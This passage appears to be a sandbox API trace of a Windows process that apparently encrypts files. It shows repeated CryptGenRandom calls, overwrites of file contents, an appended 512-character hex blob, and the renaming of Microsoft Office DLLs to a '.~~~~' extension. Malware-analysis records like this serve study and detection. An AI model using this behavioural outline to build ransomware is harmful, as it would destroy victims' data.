	[0130.611] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0130.611] WriteFile (in: hFile=0x114, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0130.611] CloseHandle (hObject=0x114) returned 1
	[0130.622] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f3e78
	[0130.623] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\LINES.DLL" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\lines.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\LINES.DLL.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\lines.dll.~~~~")) returned 1
	[0130.625] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f3e78 | out: hHeap=0x300000) returned 1
	[0130.625] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0130.625] GetLastError () returned 0x0
	[0130.629] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0130.640] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0130.640] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0130.640] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0130.640] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0130.641] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0130.641] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=25063072686) returned 1
	[0130.641] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xb74e9ab0, dwHighDateTime=0x1d60e1e)) 
	[0130.641] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0130.641] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0130.641] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0130.641] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x27fe210
	[0130.641] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0130.641] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fe210 | out: hHeap=0x300000) returned 1
	[0130.641] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0130.641] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0130.641] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x27f3e78
	[0130.641] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0130.641] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b1748
	[0130.641] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f3e78 | out: hHeap=0x300000) returned 1
	[0130.641] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0130.642] GetLastError () returned 0x0
	[0130.642] GetLastError () returned 0x0
	[0130.642] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0130.642] GetLastError () returned 0x0
	[0130.642] GetLastError () returned 0x0
	[0130.660] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0xffffac50, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0130.660] WriteFile (in: hFile=0x13c, lpBuffer=0x2a6b0c0*, nNumberOfBytesToWrite=0x53b0, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesWritten=0x25dfec0*=0x53b0, lpOverlapped=0x0) returned 1
	[0130.663] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a6b0c0 | out: hHeap=0x300000) returned 1
	[0130.663] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0130.663] WriteFile (in: hFile=0x13c, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0130.663] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0130.663] WriteFile (in: hFile=0x13c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0130.663] CloseHandle (hObject=0x13c) returned 1
	[0130.700] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b1618
	[0130.700] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCDDSUI.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\accddsui.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCDDSUI.DLL.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\accddsui.dll.~~~~")) returned 1
	[0130.707] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b1618 | out: hHeap=0x300000) returned 1
	[0130.707] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0130.707] GetLastError () returned 0x0
	[0130.708] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x2a11be0) returned 1
	[0130.708] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0130.708] CryptReleaseContext (hProv=0x2a11be0, dwFlags=0x0) returned 1
	[0130.709] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0130.709] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0130.709] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0130.709] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=25069878620) returned 1
	[0130.709] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xb75a8190, dwHighDateTime=0x1d60e1e)) 
	[0130.709] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0130.709] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0130.709] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0130.709] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x27fe088
	[0130.709] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0130.709] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fe088 | out: hHeap=0x300000) returned 1
	[0130.709] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0130.709] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0130.709] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x27f4310
	[0130.709] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0130.709] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b0908
	[0130.709] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f4310 | out: hHeap=0x300000) returned 1
	[0130.709] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0130.710] GetLastError () returned 0x0
	[0130.710] GetLastError () returned 0x0
	[0130.710] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0130.710] GetLastError () returned 0x0
	[0130.710] GetLastError () returned 0x0
	[0130.713] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0130.713] WriteFile (in: hFile=0x120, lpBuffer=0x2a520b8*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesWritten=0x25dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0130.716] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a520b8 | out: hHeap=0x300000) returned 1
	[0130.716] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0130.716] WriteFile (in: hFile=0x120, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0130.721] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0130.721] WriteFile (in: hFile=0x120, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0130.721] CloseHandle (hObject=0x120) returned 1
	[0130.725] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c36a0
	[0130.725] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACWIZRC.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\acwizrc.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACWIZRC.DLL.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\acwizrc.dll.~~~~")) returned 1
	[0130.727] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3c36a0 | out: hHeap=0x300000) returned 1
	[0130.727] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0130.727] GetLastError () returned 0x0
	[0130.728] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a1d80) returned 1
	[0130.729] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0130.729] CryptReleaseContext (hProv=0x3a1d80, dwFlags=0x0) returned 1
	[0130.729] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0130.729] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0130.729] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0130.729] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=25071930499) returned 1
	[0130.729] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xb75ce2f0, dwHighDateTime=0x1d60e1e)) 
	[0130.729] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0130.729] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0130.729] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0130.729] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x27fe0f8
	[0130.729] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0130.730] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fe0f8 | out: hHeap=0x300000) returned 1
	[0130.730] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0130.730] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0130.730] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x27f4310
	[0130.730] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0130.730] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b1320
	[0130.730] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f4310 | out: hHeap=0x300000) returned 1
	[0130.730] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0130.730] GetLastError () returned 0x0
	[0130.730] GetLastError () returned 0x0
	[0130.731] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0130.731] GetLastError () returned 0x0
	[0130.731] GetLastError () returned 0x0
	[0130.733] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xffff5c78, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0130.733] WriteFile (in: hFile=0x114, lpBuffer=0x2a520b8*, nNumberOfBytesToWrite=0xa388, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesWritten=0x25dfec0*=0xa388, lpOverlapped=0x0) returned 1
	[0130.736] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a520b8 | out: hHeap=0x300000) returned 1
	[0130.736] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0130.736] WriteFile (in: hFile=0x114, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0130.736] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0130.736] WriteFile (in: hFile=0x114, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0130.736] CloseHandle (hObject=0x114) returned 1
	[0130.736] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b1320
	[0130.737] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\AECUTILS.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\aecutils.vsl"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\AECUTILS.VSL.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\aecutils.vsl.~~~~")) returned 1
	[0130.738] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b1320 | out: hHeap=0x300000) returned 1
	[0130.738] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0130.738] GetLastError () returned 0x0
	[0130.739] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x39fe28) returned 1
	[0130.740] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0130.740] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0130.740] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0130.740] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0130.740] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0130.740] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=25072992823) returned 1
	[0130.740] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xb75f4450, dwHighDateTime=0x1d60e1e)) 
	[0130.740] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0130.740] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0130.740] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0130.740] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x28233d8
	[0130.740] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0130.740] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28233d8 | out: hHeap=0x300000) returned 1
	[0130.740] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0130.740] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0130.740] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x27f4310
	[0130.740] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0130.740] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c36a0
	[0130.740] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f4310 | out: hHeap=0x300000) returned 1
	[0130.740] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0130.741] GetLastError () returned 0x0
	[0130.741] GetLastError () returned 0x0
	[0130.741] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0130.741] GetLastError () returned 0x0
	[0130.741] GetLastError () returned 0x0
	[0130.783] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xfffff962, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0130.783] WriteFile (in: hFile=0x114, lpBuffer=0x2a520b8*, nNumberOfBytesToWrite=0x69e, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesWritten=0x25dfec0*=0x69e, lpOverlapped=0x0) returned 1
	[0130.785] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a520b8 | out: hHeap=0x300000) returned 1
	[0130.786] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0130.786] WriteFile (in: hFile=0x114, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0130.786] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0130.786] WriteFile (in: hFile=0x114, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0130.786] CloseHandle (hObject=0x114) returned 1
	[0130.786] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b1c08
	[0130.786] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ASSET.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\asset.vrd"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ASSET.VRD.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\asset.vrd.~~~~")) returned 1
	[0130.863] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b1c08 | out: hHeap=0x300000) returned 1
	[0130.863] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0130.863] GetLastError () returned 0x0
	[0130.864] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0a60) returned 1
	[0130.865] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0130.865] CryptReleaseContext (hProv=0x3a0a60, dwFlags=0x0) returned 1
	[0130.865] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0130.865] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0130.865] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0130.865] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=25085494586) returned 1
	[0130.865] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xb7724f50, dwHighDateTime=0x1d60e1e)) 
	[0130.865] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0130.865] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0130.865] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0130.865] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3ccf90
	[0130.865] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0130.865] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ccf90 | out: hHeap=0x300000) returned 1
	[0130.865] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0130.865] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0130.865] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x27f4310
	[0130.865] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0130.865] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b1c08
	[0130.866] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f4310 | out: hHeap=0x300000) returned 1
	[0130.866] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0130.866] GetLastError () returned 0x0
	[0130.866] GetLastError () returned 0x0
	[0130.866] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0130.866] GetLastError () returned 0x0
	[0130.866] GetLastError () returned 0x0
	[0130.882] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xfffff286, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0130.882] WriteFile (in: hFile=0x114, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0xd7a, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x25dfec0*=0xd7a, lpOverlapped=0x0) returned 1
	[0130.884] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0130.884] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
